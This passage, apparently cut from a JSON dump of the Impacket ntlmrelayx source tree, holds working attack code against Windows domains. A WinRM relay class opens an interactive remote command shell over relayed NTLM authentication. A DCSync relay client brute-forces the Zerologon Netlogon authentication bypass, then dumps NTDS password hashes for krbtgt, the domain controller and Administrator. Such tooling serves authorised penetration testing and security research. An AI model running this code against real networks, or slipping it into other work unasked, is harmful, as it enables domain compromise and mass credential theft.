samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')\n                        LOG.info(\"Done dumping SAM hashes for host: %s\", self.__SMBConnection.getRemoteHost())\n                except Exception as e:\n                    LOG.error(str(e))\n                finally:\n                    if samHashes is not None:\n                        samHashes.finish()\n                    if remoteOps is not None:\n                        remoteOps.finish()\n                \n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/winrmattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright (C) 2023 Fortra. All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   WinRM Attack Class\n#\n# Authors:\n#   Joe Mondloch (jmk@foofus.net)\n#   Aurélien Chalot (@Defte_)\n\nimport re\nimport cmd\nimport sys\nimport base64\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\nfrom impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell\n\nPROTOCOL_ATTACK_CLASS = \"WINRMAttack\"\n\nclass WinRMShell(cmd.Cmd):\n\n    def __init__(self, tcp_shell, client):\n        cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)\n\n        sys.stdout = tcp_shell.stdout\n        sys.stdin = tcp_shell.stdin\n        sys.stderr = tcp_shell.stdout\n\n        self.use_rawinput = False\n        self.shell = tcp_shell\n        self.client = client\n\n        self.prompt = \"\\n# \"\n        self.tid = None\n        self.intro = \"Type help for list of commands\"\n        self.loggedIn = True\n        self.last_output = None\n        self.completion = []\n\n        self.shell_id = None\n\n         # Getting Shell ID\n        initiate_shell = '''\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <env:Envelope\n            xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\"\n            xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"\n            xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\"\n            xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\"\n            xmlns:rsp=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\">\n            <env:Header>\n                <a:To>http://windows-host:5985/wsman</a:To>\n                <a:ReplyTo>\n                    <a:Address mustUnderstand=\"true\">\n                        http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous\n                    </a:Address>\n                </a:ReplyTo>\n                <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>\n                <a:Action mustUnderstand=\"true\">\n                    http://schemas.xmlsoap.org/ws/2004/09/transfer/Create\n                </a:Action>\n                <w:ResourceURI mustUnderstand=\"true\">\n                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd\n                </w:ResourceURI>\n                <w:OperationTimeout>PT20S</w:OperationTimeout>\n                <w:MaxEnvelopeSize mustUnderstand=\"true\">153600</w:MaxEnvelopeSize>\n                <w:OptionSet>\n                    <w:Option Name=\"WINRS_NOPROFILE\">FALSE</w:Option>\n                    <w:Option Name=\"WINRS_CODEPAGE\">437</w:Option>\n                </w:OptionSet>\n                <w:Locale xml:lang=\"en-US\"/>\n                <p:DataLocale xml:lang=\"en-US\"/>\n            </env:Header>\n            <env:Body>\n                <rsp:Shell>\n                    <rsp:InputStreams>stdin</rsp:InputStreams>\n                    <rsp:OutputStreams>stdout stderr</rsp:OutputStreams>\n                </rsp:Shell>\n            </env:Body>\n        </env:Envelope>\n        '''\n\n        headers = {\n          \"Content-Length\": len(initiate_shell),\n          \"Content-Type\": \"application/soap+xml;charset=UTF-8\"\n        }\n\n        self.client.request(\"POST\", \"/wsman\", headers=headers, body=initiate_shell)\n        res = self.client.getresponse()\n\n        # Retrieve ShellID\n        if match := re.search(r'<w:Selector\\s+Name=\"ShellId\">(.*?)</w:Selector>', res.read().decode()):\n            self.shell_id = match.group(1)\n\n    def emptyline(self):\n        pass\n\n    def onecmd(self, command):\n        if not command.strip():\n            return     \n\n        if command.strip() == \"exit\":\n            self.do_exit()\n\n        # Send Command XML\n        execute_command_xml = f'''\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <env:Envelope\n            xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\"\n            xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"\n            xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\"\n            xmlns:rsp=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\">\n            <env:Header>\n                <a:To>http://windows-host:5985/wsman</a:To>\n                <a:ReplyTo>\n                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\n                </a:ReplyTo>\n                <a:Action mustUnderstand=\"true\">\n                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command\n                </a:Action>\n                <a:MessageID>uuid:10000000-0000-0000-0000-000000000002</a:MessageID>\n                <w:ResourceURI mustUnderstand=\"true\">\n                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd\n                </w:ResourceURI>\n                <w:SelectorSet>\n                    <w:Selector Name=\"ShellId\">{self.shell_id}</w:Selector>\n                </w:SelectorSet>\n            </env:Header>\n            <env:Body>\n                <rsp:CommandLine>\n                    <rsp:Command>{command}</rsp:Command>\n                </rsp:CommandLine>\n            </env:Body>\n            </env:Envelope>\n            '''\n\n        self.client.request(\"POST\", \"/wsman\", headers={\n            \"Content-Length\": str(len(execute_command_xml)),\n            \"Content-Type\": \"application/soap+xml;charset=UTF-8\"\n        }, body=execute_command_xml)\n\n        response = self.client.getresponse()\n        body = response.read().decode()\n\n        command_id = re.search(r\"<rsp:CommandId>(.*?)</rsp:CommandId>\", body).group(1)\n        receive_xml = f'''\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <env:Envelope\n            xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\"\n            xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"\n            xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\"\n            xmlns:rsp=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\">\n            <env:Header>\n                <a:To>http://windows-host:5985/wsman</a:To>\n                <a:ReplyTo>\n                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\n                </a:ReplyTo>\n                <a:Action mustUnderstand=\"true\">\n                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive\n                </a:Action>\n                <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>\n                <w:ResourceURI mustUnderstand=\"true\">\n                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd\n                </w:ResourceURI>\n                <w:SelectorSet>\n                    <w:Selector Name=\"ShellId\">{self.shell_id}</w:Selector>\n                </w:SelectorSet>\n            </env:Header>\n            <env:Body>\n                <rsp:Receive>\n                    <rsp:DesiredStream CommandId=\"{command_id}\">stdout stderr</rsp:DesiredStream>\n                </rsp:Receive>\n            </env:Body>\n        </env:Envelope>\n        '''\n\n        self.client.request(\"POST\", \"/wsman\", headers={\n            \"Content-Length\": str(len(receive_xml)),\n            \"Content-Type\": \"application/soap+xml;charset=UTF-8\"\n        }, body=receive_xml)\n\n        response = self.client.getresponse()\n        body = response.read().decode()\n\n        # Extract and decode output\n        matches = re.findall(r'<rsp:Stream Name=\"stdout\"[^>]*>(.*?)</rsp:Stream>', body)\n        for match in matches:\n            try:\n                command_output = base64.b64decode(match).decode(\"utf-8\", errors=\"ignore\").strip()\n                if command_output:\n                    print(command_output)\n            except Exception as e:\n                LOG.error(f\"Failed to decode output: {e}\")\n                print(match)\n\n    def do_exit(self):\n        # This request is used to clean up the previously used ShellID\n        destroy_shell = f'''\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <env:Envelope\n            xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\"\n            xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"\n            xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\">\n            <env:Header>\n                <a:To>http://windows-host:5985/wsman</a:To>\n                <a:ReplyTo>\n                    <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\n                </a:ReplyTo>\n                <a:Action mustUnderstand=\"true\">\n                    http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete\n                </a:Action>\n                <a:MessageID>uuid:10000000-0000-0000-0000-000000000004</a:MessageID>\n                <w:ResourceURI mustUnderstand=\"true\">\n                    http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd\n                </w:ResourceURI>\n                <w:SelectorSet>\n                    <w:Selector Name=\"ShellId\">{self.shell_id}</w:Selector>\n                </w:SelectorSet>\n            </env:Header>\n            <env:Body/>\n        </env:Envelope>\n        '''\n\n        headers = {\n            \"Content-Length\": len(destroy_shell),\n            \"Content-Type\": \"application/soap+xml;charset=UTF-8\"\n        }\n\n        self.client.request(\"POST\", \"/wsman\", headers=headers, body=destroy_shell)\n        res = self.client.getresponse()   \n        res.read()\n\n        if self.shell is not None:\n            self.shell.close()\n\n        LOG.info(\"WinRM shell destroyed successfully. You can now leave the NC shell :)\")\n        return True\n\n    def do_EOF(self, line):\n        print(\"Bye!\\n\")\n        return True\n\nclass WINRMAttack(ProtocolAttack):\n    PLUGIN_NAMES = [\"WINRMS\"]\n\n    def __init__(self, config, WINRMClient, username, target=None, relay_client=None):\n        ProtocolAttack.__init__(self, config, WINRMClient, username, target, relay_client)\n        self.tcp_shell = TcpShell()\n\n    def run(self):\n        LOG.info(f\"Started interactive WinRMS shell via TCP on 127.0.0.1:{self.tcp_shell.port}\") \n        self.tcp_shell.listen()\n        shell = WinRMShell(self.tcp_shell, self.client)\n        shell.cmdloop()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Protocol Client Base Class definition\n#   Defines a base class for all clients + loads all available modules\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nimport os, sys\nfrom importlib.resources import files\nfrom threading import Lock\nfrom impacket import LOG\n\nPROTOCOL_CLIENTS = {}\n\n# Base class for Protocol Clients for different protocols (SMB, MSSQL, etc)\n# Besides using this base class you need to define one global variable when\n# writing a plugin for protocol clients:\n# PROTOCOL_CLIENT_CLASS = \"<name of the class for the plugin>\"\n# PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc)\nclient_idx = 0\nlock = Lock()\nclass ProtocolClient:\n    PLUGIN_NAME = 'PROTOCOL'\n    def __init__(self, serverConfig, target, targetPort, extendedSecurity=True):\n        self.serverConfig = serverConfig\n        self.targetHost = target.hostname\n        # A default target port is specified by the subclass\n        if target.port is not None:\n            # We override it by the one specified in the target\n            self.targetPort = target.port\n        else:\n            self.targetPort = targetPort\n        self.target = target\n        self.extendedSecurity = extendedSecurity\n        self.session = None\n        self.sessionData = {}\n\n    def initConnection(self):\n        raise RuntimeError('Virtual Function')\n\n    def killConnection(self):\n        raise RuntimeError('Virtual Function')\n\n    def sendNegotiate(self, negotiateMessage):\n        \"\"\"\n        Charged of sending the type 1 NTLM Message\n\n        :param bytes negotiateMessage:\n        :return:\n        \"\"\"\n        raise RuntimeError('Virtual Function')\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        \"\"\"\n        Charged of sending the type 3 NTLM Message to the Target\n\n        :param bytes authenticateMessageBlob:\n        :param bytes serverChallenge:\n        :return:\n        \"\"\"\n        raise RuntimeError('Virtual Function')\n\n    def sendStandardSecurityAuth(self, sessionSetupData):\n        # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set\n        raise RuntimeError('Virtual Function')\n\n    def getSession(self):\n        # Should return the active session for the relayed connection\n        raise RuntimeError('Virtual Function')\n\n    def getSessionData(self):\n        # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the\n        # answers from the original server)\n        return self.sessionData\n\n    def getStandardSecurityChallenge(self):\n        # Should return the Challenge returned by the server when Extended Security is not set\n        # This should only happen with against old Servers. By default we return None\n        return None\n\n    def keepAlive(self):\n        # Charged of keeping connection alive\n        raise RuntimeError('Virtual Function')\n\n    def isAdmin(self):\n        # Should return whether or not the user is admin in the form of a string (e.g. \"TRUE\", \"FALSE\")\n        # Depending on the protocol, different techniques should be used.\n        # By default, raise exception\n        raise RuntimeError('Virtual Function')\n\n    def setClientId(self):\n        with lock:\n            global client_idx\n            client_idx += 1\n            self.client_id = client_idx\n\n\nclients_path = files('impacket.examples.ntlmrelayx').joinpath('clients')\nfor file in [f.name for f in clients_path.iterdir() if f.is_file()]:\n    if file.find('__') >= 0 or file.endswith('.py') is False:\n        continue\n    # This seems to be None in some case (py3 only)\n    # __spec__ is py3 only though, but I haven't seen this being None on py2\n    # so it should cover all cases.\n    try:\n        package = __spec__.name  # Python 3\n    except NameError:\n        package = __package__    # Python 2\n    __import__(package + '.' + os.path.splitext(file)[0])\n    module = sys.modules[package + '.' + os.path.splitext(file)[0]]\n    try:\n        pluginClasses = set()\n        try:\n            if hasattr(module,'PROTOCOL_CLIENT_CLASSES'):\n                for pluginClass in module.PROTOCOL_CLIENT_CLASSES:\n                    pluginClasses.add(getattr(module, pluginClass))\n            else:\n                pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS')))\n        except Exception as e:\n            LOG.debug(e)\n            pass\n\n        for pluginClass in pluginClasses:\n            LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME)\n            PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass\n    except Exception as e:\n        LOG.debug(str(e))\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/dcsyncclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Author:\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#   Alberto Solino (@agsolino)\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n\nfrom struct import unpack, pack\nfrom binascii import hexlify, unhexlify\nimport traceback\nfrom Cryptodome.Cipher import ARC4\nfrom impacket import LOG, ntlm\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \\\n    NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL\nfrom impacket.spnego import SPNEGO_NegTokenResp\nfrom impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc\nfrom impacket.dcerpc.v5.ndr import NDRCALL\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \\\n    MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \\\n    rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY\nfrom impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes\n\nPROTOCOL_CLIENT_CLASS = \"DCSYNCRelayClient\"\n\nclass DCSYNCRelayClientException(Exception):\n    pass\n\nclass MYDCERPC_v5(DCERPC_v5):\n    def __init__(self, transport):\n        DCERPC_v5.__init__(self, transport)\n\n    def sendBindType1(self, iface_uuid, auth_data):\n        bind = MSRPCBind()\n\n        item = CtxItem()\n        item['AbstractSyntax'] = iface_uuid\n        item['TransferSyntax'] = self.transfer_syntax\n        item['ContextID'] = 0\n        item['TransItems'] = 1\n        bind.addCtxItem(item)\n\n        packet = MSRPCHeader()\n        packet['type'] = rpcrt.MSRPC_BIND\n        packet['pduData'] = bind.getData()\n        packet['call_id'] = 0\n\n        sec_trailer = SEC_TRAILER()\n        sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT\n        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n        sec_trailer['auth_ctx_id'] = 79231\n\n        pad = (4 - (len(packet.get_packet()) % 4)) % 4\n        if pad != 0:\n           packet['pduData'] += b'\\xFF' * pad\n           sec_trailer['auth_pad_len'] = pad\n\n        packet['sec_trailer'] = sec_trailer\n        packet['auth_data'] = auth_data\n\n        self._transport.send(packet.get_packet())\n\n        s = self._transport.recv()\n\n        if s != 0:\n            resp = MSRPCHeader(s)\n        else:\n            return 0 #mmm why not None?\n\n        if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:\n            bindResp = MSRPCBindAck(resp.getData())\n        elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:\n            if resp['type'] == rpcrt.MSRPC_FAULT:\n                resp = MSRPCRespHeader(resp.getData())\n                status_code = unpack('<L', resp['pduData'][:4])[0]\n            else:\n                resp = MSRPCBindNak(resp['pduData'])\n                status_code = resp['RejectedReason']\n            if status_code in rpc_status_codes:\n                raise DCERPCException(error_code = status_code)\n            elif status_code in rpc_provider_reason:\n                raise DCERPCException(\"Bind context rejected: %s\" % rpc_provider_reason[status_code])\n            else:\n                raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)\n        else:\n            raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])\n\n        self.set_max_tfrag(bindResp['max_rfrag'])\n\n        return bindResp\n\n    def sendBindType3(self, auth_data):\n        sec_trailer = SEC_TRAILER()\n        sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT\n        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n        sec_trailer['auth_ctx_id'] = 79231\n\n        auth3 = MSRPCHeader()\n        auth3['type'] = rpcrt.MSRPC_AUTH3\n\n        # pad (4 bytes): Can be set to any arbitrary value when set and MUST be\n        # ignored on receipt. The pad field MUST be immediately followed by a\n        # sec_trailer structure whose layout, location, and alignment are as\n        # specified in section 2.2.2.11\n        auth3['pduData'] = b'    '\n        auth3['sec_trailer'] = sec_trailer\n        auth3['auth_data'] = auth_data\n        auth3['call_id'] = 0\n\n        self._transport.send(auth3.get_packet(), forceWriteAndx = 1)\n\n# Special class that allows skipping Samr connections (they are not strictly needed)\nclass PatchedRemoteOperations(RemoteOperations):\n\n    def getMachineNameAndDomain(self):\n        return '', ''\n\n    def connectSamr(self, domain):\n        return\n\nclass DCSYNCRelayClient(ProtocolClient):\n    \"\"\"\n    DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it\n    invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.\n    \"\"\"\n    PLUGIN_NAME = \"DCSYNC\"\n\n    def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):\n        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n\n        self.endpoint = serverConfig.rpc_mode\n\n        self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI\n\n        LOG.debug(\"Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding\" % (target.netloc, self.endpoint))\n        self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')\n\n        LOG.debug(\"%s stringbinding is %s\" % (self.endpoint, self.stringbinding))\n\n    def initConnection(self):\n        rpctransport = transport.DCERPCTransportFactory(self.stringbinding)\n\n        if self.serverConfig.rpc_use_smb:\n            LOG.info(\"Authenticating to smb://%s:%d with creds provided in cmdline\" % (self.target.netloc, self.serverConfig.rpc_smb_port))\n            rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \\\n                self.serverConfig.smblmhash, self.serverConfig.smbnthash)\n            rpctransport.set_dport(self.serverConfig.rpc_smb_port)\n\n        self.session = MYDCERPC_v5(rpctransport)\n        self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n        self.session.connect()\n\n        return True\n\n    def sendNegotiate(self, auth_data):\n        negoMessage = NTLMAuthNegotiate()\n        negoMessage.fromString(auth_data)\n        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:\n            negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL\n        self.negotiateMessage = negoMessage.getData()\n        bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage)\n\n        self.challenge = NTLMAuthChallenge()\n        self.challenge.fromString(bindResp['auth_data'])\n\n        return self.challenge\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            auth_data = respToken2['ResponseToken']\n        else:\n            auth_data = authenticateMessageBlob\n\n        remoteOps = None\n        try:\n            signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)\n            # Something failed\n            if signingkey == 0:\n                return\n            self.session.set_session_key(signingkey)\n            authenticateMessage = NTLMAuthChallengeResponse()\n            authenticateMessage.fromString(auth_data)\n\n            # Recalc mic\n            authenticateMessage['MIC'] = b'\\x00' * 16\n            if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:\n                authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL\n            newmic = ntlm.hmac_md5(signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData())\n            authenticateMessage['MIC'] = newmic\n            self.session.sendBindType3(authenticateMessage.getData())\n\n            # Now perform DRS bind\n            # This code comes from secretsdump directly\n            request = drsuapi.DRSBind()\n            request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID\n            drs = drsuapi.DRS_EXTENSIONS_INT()\n            drs['cb'] = len(drs) #- 4\n            drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \\\n                             drsuapi.DRS_EXT_STRONG_ENCRYPTION\n            drs['SiteObjGuid'] = drsuapi.NULLGUID\n            drs['Pid'] = 0\n            drs['dwReplEpoch'] = 0\n            drs['dwFlagsExt'] = 0\n            drs['ConfigObjGUID'] = drsuapi.NULLGUID\n            # I'm uber potential (c) Ben\n            drs['dwExtCaps'] = 0xffffffff\n            request['pextClient']['cb'] = len(drs)\n            request['pextClient']['rgb'] = list(drs.getData())\n            resp = self.session.request(request)\n\n            # Initialize remoteoperations\n            if self.serverConfig.smbuser != '':\n                smbConnection = SMBConnection(self.target.netloc, self.target.netloc)\n                smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \\\n                self.serverConfig.smblmhash, self.serverConfig.smbnthash)\n                remoteOps = RemoteOperations(smbConnection, False)\n            else:\n                remoteOps = PatchedRemoteOperations(None, False)\n\n            # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.\n            drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()\n\n            # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.\n            ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\\x00' * (\n            len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])\n            drsExtensionsInt.fromString(ppextServer)\n\n            if drsExtensionsInt['dwReplEpoch'] != 0:\n                # Different epoch, we have to call DRSBind again\n                LOG.debug(\"DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again\" % drsExtensionsInt[\n                        'dwReplEpoch'])\n                drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']\n                request['pextClient']['cb'] = len(drs)\n                request['pextClient']['rgb'] = list(drs.getData())\n                resp = self.session.request(request)\n\n            remoteOps._RemoteOperations__hDrs = resp['phDrs']\n\n            domainName = authenticateMessage['domain_name'].decode('utf-16le')\n            # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges\n            resp = drsuapi.hDRSDomainControllerInfo(self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)\n            # LOG.debug('DRSDomainControllerInfo() answer')\n            # resp.dump()\n\n            if resp['pmsgOut']['V2']['cItems'] > 0:\n                remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']\n            else:\n                LOG.error(\"Couldn't get DC info for domain %s\" % domainName)\n                raise Exception('Fatal, aborting')\n            remoteOps._RemoteOperations__drsr = self.session\n\n            # Initialize NTDSHashes object\n            if self.serverConfig.smbuser != '':\n                # We can dump all :)\n                nh = NTDSHashes(None, None, isRemote=True, history=False,\n                                noLMHash=False, remoteOps=remoteOps,\n                                useVSSMethod=False, justNTLM=False,\n                                pwdLastSet=False, resumeSession=None,\n                                outputFileName='hashes', justUser=None,\n                                printUserStatus=False)\n                nh.dump()\n            else:\n                # Most important, krbtgt\n                nh = NTDSHashes(None, None, isRemote=True, history=False,\n                                noLMHash=False, remoteOps=remoteOps,\n                                useVSSMethod=False, justNTLM=False,\n                                pwdLastSet=False, resumeSession=None,\n                                outputFileName='hashes', justUser=domainName + '/krbtgt',\n                                printUserStatus=False)\n                nh.dump()\n                # Also important, DC hash (to sync fully)\n                av_pairs = authenticateMessage['ntlm'][44:]\n                av_pairs = AV_PAIRS(av_pairs)\n                serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')\n                nh = NTDSHashes(None, None, isRemote=True, history=False,\n                                noLMHash=False, remoteOps=remoteOps,\n                                useVSSMethod=False, justNTLM=False,\n                                pwdLastSet=False, resumeSession=None,\n                                outputFileName='hashes', justUser=domainName + '/' + serverName + '$',\n                                printUserStatus=False)\n                nh.dump()\n                # Finally, builtin\\Administrator providing it was not renamed\n                try:\n                    nh = NTDSHashes(None, None, isRemote=True, history=False,\n                                    noLMHash=False, remoteOps=remoteOps,\n                                    useVSSMethod=False, justNTLM=False,\n                                    pwdLastSet=False, resumeSession=None,\n                                    outputFileName='hashes', justUser=domainName + '/Administrator',\n                                    printUserStatus=False)\n                    nh.dump()\n                except Exception:\n                    LOG.error('Could not dump administrator (renamed?)')\n\n            return None, STATUS_SUCCESS\n        except Exception as e:\n            traceback.print_exc()\n        finally:\n            if remoteOps is not None:\n                remoteOps.finish()\n\n    def netlogonSessionKey(self, challenge, authenticateMessageBlob):\n        # Here we will use netlogon to get the signing session key\n        LOG.info(\"Connecting to %s NETLOGON service\" % self.target.netloc)\n\n        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n        authenticateMessage = NTLMAuthChallengeResponse()\n        authenticateMessage.fromString(respToken2['ResponseToken'])\n        domainName = authenticateMessage['domain_name'].decode('utf-16le')\n        flags = authenticateMessage['flags']\n        try:\n            av_pairs = authenticateMessage['ntlm'][44:]\n            av_pairs = AV_PAIRS(av_pairs)\n\n            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')\n        except:\n            LOG.debug(\"Exception:\", exc_info=True)\n            # We're in NTLMv1, not supported\n            return STATUS_ACCESS_DENIED\n\n        binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')\n\n        dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()\n        dce.connect()\n        dce.bind(nrpc.MSRPC_UUID_NRPC)\n        MAX_ATTEMPTS = 6000\n        for attempt in range(0, MAX_ATTEMPTS):\n            resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\\x00', b'\\x00'*8)\n\n            serverChallenge = resp['ServerChallenge']\n\n            ppp = b'\\x00'*8\n            try:\n                nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\\x00',\n                                              nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\\x00',\n                                              ppp, 0x212effef)\n            except nrpc.DCERPCSessionError as ex:\n                # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.\n                if ex.get_error_code() == 0xc0000022:\n                    continue\n                else:\n                    LOG.error('Unexpected error code from DC: %d.', ex.get_error_code())\n            except BaseException as ex:\n                LOG.error('Unexpected error: %s', str(ex))\n            LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt)\n            break\n        else:\n            LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!')\n            return\n        clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)\n\n        # Now let's try to verify the security blob against the PDC\n\n        lflags = unpack('<L', b'\\xe0\\x2a\\x00\\x00')[0]\n        request = nrpc.NetrLogonSamLogonWithFlags()\n        request['LogonServer'] = '\\x00'\n        request['ComputerName'] = serverName + '\\x00'\n        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n\n        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation\n        